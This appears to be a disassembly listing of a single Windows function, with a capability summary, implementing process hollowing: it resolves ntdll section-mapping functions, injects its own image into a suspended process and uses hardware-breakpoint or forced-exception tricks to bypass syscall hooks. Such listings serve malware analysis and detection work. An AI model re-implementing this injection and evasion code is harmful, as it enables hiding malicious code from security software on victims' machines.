Function at 0x1400011d0
Capabilities:
Create process on windows
Create process suspended
Create thread
Link many functions at runtime
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x990]
sub rsp, 0xa90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x980], rax
xorps xmm1, xmm1
xor eax, eax
mov r13, rcx
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
mov qword [rbp - 0x30], rax
lea rcx, [rbp + 0x4b0]
xor edx, edx
mov r8d, 0x4d0
xor r15d, r15d
movups xmmword [rsp + 0x58], xmm0
movups xmmword [rsp + 0x70], xmm1
movups xmmword [rbp - 0x80], xmm1
movups xmmword [rbp - 0x70], xmm1
movups xmmword [rbp - 0x60], xmm1
movups xmmword [rbp - 0x50], xmm1
movups xmmword [rbp - 0x40], xmm1
call fcn.140002aa0
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x140001647
lea rdx, str.NtUnmapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140023c48], rax
test rax, rax
je 0x140001647
lea rdx, str.NtCreateSection
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140023c70], rax
test rax, rax
je 0x140001647
lea rdx, str.NtMapViewOfSection
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140023c38], rax
test rax, rax
je 0x140001647
lea rdx, str.NtSetContextThread
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140023c50], rax
test rax, rax
je 0x140001647
lea rdx, str.NtClose
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140023c60], rax
test rax, rax
je 0x140001647
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rsp + 0x70]
mov rdx, r13
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140001359
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateProcessA___Failed_with_error:__d_n
call fcn.140001010
jmp 0x140001653
mov rcx, qword [rsp + 0x58]
call fcn.140001750
mov r12, rax
test rax, rax
jne 0x140001377
lea rcx, str.Failed_to_map_our_executable_into_the_hollowed_process_n
jmp 0x14000164e
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp + 0x4b0]
mov dword [rbp + 0x4e0], 0x100003
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x1400013b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.GetThreadContext___Failed_with_error:__d_n
call fcn.140001010
jmp 0x140001653
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, r12
sub rcx, rax
lea rax, [0x140001720]
add rcx, rax
mov rax, qword [rsp + 0x60]
mov qword [0x140023c58], rax
lea rax, [rbp + 0x4b0]
mov qword [0x140023c40], rax
mov eax, dword [0x140023c68]
mov qword [rbp + 0x530], rcx
cmp eax, 1
jne 0x140001599
lea rcx, str.Attempting_bypass_using_hardware_breakpoints_n
call fcn.140001010
lea rcx, [0x140001070]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r8, [0x140001190]
mov dword [rsp + 0x20], 4
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r14, rax
test rax, rax
jne 0x14000144c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.CreateThread___failed__error:__d_n
jmp 0x1400015de
mov qword [rsp + 0xac8], rsi
lea rcx, [rbp - 0x20]
mov rsi, qword [0x140023c50]
xor edx, edx
mov r8d, 0x4d0
mov qword [rsp + 0xad0], rdi
call fcn.140002aa0
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rsi
mov ebx, r15d
nop word [rax + rax]
cmp byte [rcx], 0xf
lea rax, [rcx + 1]
mov rcx, rax
jne 0x1400014a1
cmp byte [rax], 5
je 0x1400014d4
mov rax, rcx
inc ebx
sub rax, rsi
cmp rax, 0x400
jl 0x140001490
mov rbx, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x50]
mov rsi, qword [rsp + 0xac8]
test rdi, rdi
jne 0x1400014f4
lea rcx, str.error:_syscall_instruction_not_found_n
jmp 0x140001573
movsxd rdi, ebx
lea rcx, str.Found_syscall_opcode_at_0x_llx_n
add rdi, rsi
mov rdx, rdi
call fcn.140001010
lea eax, [rbx + 2]
movsxd rbx, eax
add rbx, rsi
jmp 0x1400014bb
cmp byte [rbx], 0xc3
je 0x140001502
lea rcx, str.Error:_syscall_instruction_not_followed_by_ret_n
jmp 0x140001573
lea rdx, [rbp - 0x20]
mov dword [rbp + 0x10], 0x10000b
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x140001530
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.GetThreadContext___failed__error:__d_n
call fcn.140001010
jmp 0x140001578
lea rdx, [rbp - 0x20]
mov dword [rbp + 0x10], 0x10001f
mov rcx, r14
mov qword [rbp + 0x28], rdi
mov qword [rbp + 0x30], rbx
mov qword [rbp + 0x50], 5
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x14000156c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.SetThreadContext___failed__error:__d_n
call fcn.140001010
lea rcx, str.Hardware_breakpoints_set_n
call fcn.140001010
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, 0xffffffff
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rdi, qword [rsp + 0xad0]
jmp 0x1400015e5
cmp eax, 2
jne 0x140001637
lea rcx, str.Attempting_bypass_using_forced_exception_n
call fcn.140001010
lea rcx, [0x140001100]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [0x140023c58]
mov edx, 0x1337
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x1400015e5
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.SetThreadContext___failed__error:__d_n
mov edx, eax
call fcn.140001010
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
jne 0x14000160a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_unsuspended_process__Error:__d_n
call fcn.140001010
jmp 0x140001653
mov rax, qword [rbp + 0x530]
lea rcx, str.Injection_Successful_n_ws_nRemote_Base_Address:_0x_xll_nRemote_Thread_Start:_0x_xll_nRemote_Entry_Point:__0x_xll_n
mov r9, qword [rbp + 0x5a8]
mov r8, r12
mov rdx, r13
mov qword [rsp + 0x20], rax
call fcn.140001010
mov r15d, 1
jmp 0x140001665
lea rcx, str.invalid_g_bypass_method_value_n
call fcn.140001010
xor eax, eax
jmp 0x140001688
lea rcx, str.Failed_to_resolve_functions_from_ntdll_n
call fcn.140001010
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140001675
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140001675
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140001685
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, r15d
mov rcx, qword [rbp + 0x980]
xor rcx, rsp
call fcn.1400019b0
mov rbx, qword [rsp + 0xad8]
add rsp, 0xa90
pop r15
pop r14
pop r13
pop r12
pop rbp
ret